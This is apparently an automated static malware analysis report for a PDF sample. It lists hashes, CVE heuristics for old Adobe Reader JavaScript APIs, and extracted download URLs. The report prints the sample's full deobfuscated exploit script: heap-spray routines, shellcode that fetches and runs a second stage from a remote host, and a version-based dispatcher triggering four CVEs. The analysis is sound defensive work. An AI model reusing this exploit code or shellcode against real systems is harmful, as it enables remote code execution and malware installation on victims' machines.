Malicious PDF — malware analysis report

Static analysis result for SHA-256 d82463ae615c4222…

MALICIOUS

PDF

4.6 KB First seen: 2026-05-08
MD5: 5874dd6bfadb1ac4cc417c5ff716894c SHA-1: c953693fca46e5595a07d8d2422e5c6d709d222b SHA-256: d82463ae615c422247dc829492ddd2c439f7f1e3555786bbeec9c56813b24d32
450 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://dell4pon.cz.cc/load.php?sploit=PDF_newPlayer Referenced by PDF JavaScript
    • http://dell4pon.cz.cc/load.php?sploit=PDF_printfReferenced by PDF JavaScript
    • http://dell4pon.cz.cc/load.php?sploit=PDF_GetIconReferenced by PDF JavaScript
    • http://dell4pon.cz.cc/load.php?sploit=PDF_CollabReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0012_000.js pdf-javascript-stream PDF /JS object 12 at offset 0xFBF 93 bytes
SHA-256: 61b46047f90b888a00e497def64b956f6da2cb6e69e8905a21e0ba446aa10cd0
Preview script
First 1,000 lines of the extracted script
m1=this.info.gkds;m2=m1.replace(/zzzzz/g,"");m3=this.info.gggsd+"al";        app[m3](m2);
info_stride_js_000.js deobfuscated-js PDF /Info fields via stride 6 4794 bytes
SHA-256: 6a0e2888a9f6c6c4fac89d05201aa7e3ccc5ba94f7a89d91a39c8b6fb7a36cb1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function shcode(iqmil)
{

oyJ3AX = "%u9090%u9090%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
return oyJ3AX+iqmil;
}

function hNGkb() {
function pICFE()
{
var HG9V7O="p@111111111111111111111111 : yyyy111";
util.printd(HG9V7O, new Date());
}

var rbX2Li=12000;
IdM0=new Array();
var M0Z = "%u9090%u9090";
var kJVQ=shcode("%u7468%u7074%u2F3A%u642F%u6C65%u346C%u6F70%u2E6E%u7A63%u632E%u2F63%u6F6C%u6461%u702E%u7068%u733F%u6C70%u696F%u3D74%u4450%u5F46%u656E%u5077%u616C%u6579%u0072");
M0Z=unescape(M0Z);
kJVQ=unescape(kJVQ);

while(M0Z.length <= 0x8000){M0Z+=M0Z;}
M0Z=M0Z.substr(0,0x8000 - kJVQ.length);
for(ZVP67=0;ZVP67<rbX2Li;ZVP67++) {IdM0[ZVP67]=M0Z + kJVQ;}
if(rbX2Li){pICFE();pICFE();try {this.media.newPlayer(null);} catch(e) {}pICFE();}
}

function hpW29() {

var XUW7=unescape(shcode("%u7468%u7074%u2F3A%u642F%u6C65%u346C%u6F70%u2E6E%u7A63%u632E%u2F63%u6F6C%u6461%u702E%u7068%u733F%u6C70%u696F%u3D74%u4450%u5F46%u7270%u6E69%u6674"));

var dGVo ="";
for (DjA=128;DjA>=0;--DjA) dGVo += unescape("%u9090%u9090%u9090%u9090%u9090");
Req3 = dGVo + XUW7;
uGurVo = unescape("%u9090%u9090");
f2J39o = 20;
KVWhDz = f2J39o+Req3.length;
while (uGurVo.length<KVWhDz) uGurVo+=uGurVo;
Sxw04 = uGurVo.substring(0, KVWhDz);
I7eDM = uGurVo.substring(0, uGurVo.length-KVWhDz);
while(I7eDM.length+KVWhDz < 0x40000) I7eDM = I7eDM+I7eDM+Sxw04;
nvC = new Array();
for (i=0;i<1400;i++) nvC[i] = I7eDM + Req3;

var mF7 = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
util.printf("%45000f",mF7);
}

function uOIz9u() {

var z96=unescape(shcode("%u7468%u7074%u2F3A%u642F%u6C65%u346C%u6F70%u2E6E%u7A63%u632E%u2F63%u6F6C%u6461%u702E%u7068%u733F%u6C70%u696F%u3D74%u4450%u5F46%u6547%u4974%u6F63%u006E"));

kYJV = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090") + z96;
uk6CFW = unescape("%u9090%u9090"); 
f2J39o = 10;
q1qg = f2J39o+kYJV.length;

while (uk6CFW.length<q1qg) uk6CFW+=uk6CFW;
Sxw04 = uk6CFW.substring(0, q1qg);
BWub = uk6CFW.substring(0, uk6CFW.length-q1qg);
while(BWub.length+q1qg<0x40000) BWub = BWub+BWub+Sxw04;
BUmhg = new Array();
for (i=0;i<180;i++) BUmhg[i] = BWub + kYJV;
var Maz = 4012;
var k2Nhco = Array(Maz);
for (i=0; i<Maz; i++)
{
k2Nhco[i] = unescape("%0a%0a%0a%0a");
}

Collab.getIcon(k2Nhco+"_N.bundle");
}

function fzK8l() {

function q1qt(cnKGV,ThIM) {
while(cnKGV.length*2<ThIM) { cnKGV+=cnKGV; }
cnKGV=cnKGV.substring(0,ThIM/2);
return cnKGV; }
var liWXd=unescape(shcode("%u7468%u7074%u2F3A%u642F%u6C65%u346C%u6F70%u2E6E%u7A63%u632E%u2F63%u6F6C%u6461%u702E%u7068%u733F%u6C70%u696F%u3D74%u4450%u5F46%u6F43%u6C6C%u6261"));
var ZjyO=new Array();
var DXZ=0x0c0c0c0c;
var gZupOe=0x400000;
var ru8HA=liWXd.length*2;
var ThIM=gZupOe-(ru8HA+0x38);
var cnKGV=unescape("%u9090%u9090");
cnKGV=q1qt(cnKGV,ThIM);
var mWC5F=(DXZ-0x400000)/gZupOe;
for(var WtSud=0;WtSud<mWC5F;WtSud++) {ZjyO[WtSud]=cnKGV+liWXd; }
var j8Vq=unescape("%u0c0c%u0c0c");
while(j8Vq.length<44952) {j8Vq+=j8Vq; }
this.collabStore=Collab.collectEmailInfo( { subj:"",msg:j8Vq } ); 

}

aPlugins = app.plugIns;
var imGUb=parseInt(app.viewerVersion.toString().charAt(0));
for (var CEN=0; CEN < aPlugins.length; CEN++)
  {
    if (aPlugins[CEN].name=="EScript")
      {
        var LfDC=aPlugins[CEN].version;
      }
  }  
if ((LfDC==9)||((imGUb==8)&&(LfDC<=8.12)))
  {
    uOIz9u();
  }
else if (LfDC==7.1)
  {
    hpW29();
  }
else if (((imGUb==6)||(imGUb==7))&&(LfDC<7.11))
  {
    fzK8l();
  }
else if ((LfDC >= 9.1) || (LfDC <= 9.2) || (LfDC >= 8.13) || (LfDC <= 8.17))
  {
        hNGkb();
  }

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